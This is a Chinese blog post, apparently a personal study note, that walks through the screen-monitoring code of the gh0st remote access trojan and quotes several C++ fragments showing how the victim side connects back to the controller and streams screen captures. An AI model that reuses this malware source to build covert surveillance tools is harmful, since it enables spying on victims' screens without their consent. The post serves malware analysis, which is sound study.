gh0st源码分析:屏幕监控
這兩天一直看gh0st源碼,看得也是一頭霧水,下面就分析一下屏幕監控的通信過程,對屏幕掃描算法以及繪圖方面就不分析了,因為我也不懂。寫的有點亂,就當作個筆記了。
首先從控制端按下屏幕監控選項開始,這時控制端就會調用OnScreenspy()函數。這個函數很簡單,向被控端發送COMMAND_SCREEN_SPY指令,告訴被控端我要監控你的屏幕了。此時被控端還在等待控制端的命令(ClientSocket.cpp中的Connect函數中新建的線程WorkThread一直等待執行命令),WorkThread線程等到了執行命令,調用OnRead函數對命令解密,接下來調用了CKernelManager::OnReceive函數,OnReceive看到命令是COMMAND_SCREEN_SPY,就創建了Loop_ScreenManager線程:
DWORD WINAPI Loop_ScreenManager(CClientSocket* sRemote) {CClientSocket socketClient;if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))return -1;CScreenManager manager(&socketClient);socketClient.run_event_loop();return 0; }這個線程又調用CClientSocket的Connect連接控制端,并聲明了個CScreenManager類,并將socketClient與CScreenManager相關聯(參見CManager類的構造函數:m_pClient->setManagerCallBack(this);),這樣socketClient的WorkThread線程收到的數據就可以傳送到了CScreenManager::OnReceive函數中,而不是CKernelManager::OnReceive函數了。
看下CScreenManager?構造函數:
?
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient) {m_bAlgorithm = ALGORITHM_SCAN;m_biBitCount = 8;m_pScreenSpy = new CScreenSpy(8);m_bIsWorking = true;m_bIsBlankScreen = false;m_bIsBlockInput = false;m_bIsCaptureLayer = false;m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true); }?
構造函數中又創建了兩個線程:WorkThread和ControlThread。WorkThread主要負責發送屏幕頁面,ControlThread沒看,暫時不知道干啥。看下WorkThread線程:
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam) {CScreenManager *pThis = (CScreenManager *)lparam;pThis->sendBITMAPINFO();// 等控制端對話框打開pThis->WaitForDialogOpen();pThis->sendFirstScreen();try // 控制端強制關閉時會出錯 {while (pThis->m_bIsWorking)pThis->sendNextScreen();}catch(...){};return 0; }首先調用sendBITMAPINFO(),發送調色板信息(用TOKEN_BITMAPINFO指令標識)。發送后就等待控制端屏幕監控窗口打開(等待m_hEventDlgOpen事件,當控制端屏幕監控窗口打開時會發送COMMAND_NEXT指令,收到此指令后被控端會調用NotifyDialogIsOpen()函數來設置hEventDlgOpen)。先讓被控端在這兒等著吧,接下來我們再回到控制端。
控制端發送完COMMAND_SCREEN_SPY指令后,就繼續等待連接(ListenThreadProc線程)和等待接收數據(OnClientReading函數中接收完數據就會調用PostRecv投遞了IORead請求)。這時有了新連接(上面Loop_ScreenManager中的連接),于是調用OnAccept函數,并為這個新的連接分配了ClientContext,并建立完成端口,然后在新的完成端口上投遞IORead請求,等待接收數據。很快數據來了(調色板信息),OnClientReading函數對數據解密,然后把數據給了NotifyProc函數,NotifyProc函數又調用了ProccessReceiveComplete函數,此時還沒有建立屏幕監控窗口,因此pContext->m_Dialog[0] = 0。ProccessReceiveComplete根據TOKEN_BITMAPINFO指令,向主窗口發送了個WM_OPENSCREENSPYDIALOG消息,告訴主窗口建立個屏幕監控的窗口,于是控制端調用OnOpenScreenSpyDialog函數:
LRESULT CkongDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) {ClientContext *pContext = (ClientContext *)lParam;CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);// 設置父窗口為卓面dlg->Create(IDD_SCREENSPY, GetDesktopWindow());dlg->ShowWindow(SW_SHOW);pContext->m_Dialog[0] = SCREENSPY_DLG;pContext->m_Dialog[1] = (int)dlg;return 0; }創建了屏幕監控窗口,并對pContext->m_Dialog賦值。m_Dialog[0]標識是屏幕監控窗口,m_Dialog[1]指向此窗口。這樣ProccessReceiveComplete函數就可以根據pContext->m_Dialog直接將數據傳給CScreenSpyDlg了。建立了CScreenSpyDlg窗口,就要調用OnInitDialog函數,在CScreenSpyDlg的OnInitDialog函數中,有調用了SendNext()函數:
?
void CScreenSpyDlg::SendNext() {BYTE bBuff = COMMAND_NEXT;m_iocpServer->Send(m_pContext, &bBuff, 1); }?
發送COMMAND_NEXT指令給被控端。前面說了,被控端在發送調色板信息后就等待COMMAND_NEXT指令。
回到被控端,收到了數據,數據解密后傳到了CScreenManager::OnReceive函數中,根據COMMAND_NEXT指令調用了NotifyDialogIsOpen()函數,NotifyDialogIsOpen函數設置了m_hEventDlgOpen事件,?CScreenManager的WorkThread線程中WaitForDialogOpen()返回,于是執行pThis->sendFirstScreen(),發送第一個屏幕畫面,用TOKEN_FIRSTSCREEN來標識。
控制端收到數據后到了ProccessReceiveComplete函數,根據m_Dialog將數據傳給了CScreenSpyDlg中的OnReceiveComplete()函數,根據相關指令來重繪屏幕監控窗口。接下來被控端不停的發,控制端就不停的重繪.........
?還沒分析完,還有發送控制命令那一塊沒看,有時間再寫。
總結
以上是生活随笔為你收集整理的gh0st源码分析:屏幕监控的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Gh0st 3.6 存在的BUG及修改方
- 下一篇: Windows 系统版本判断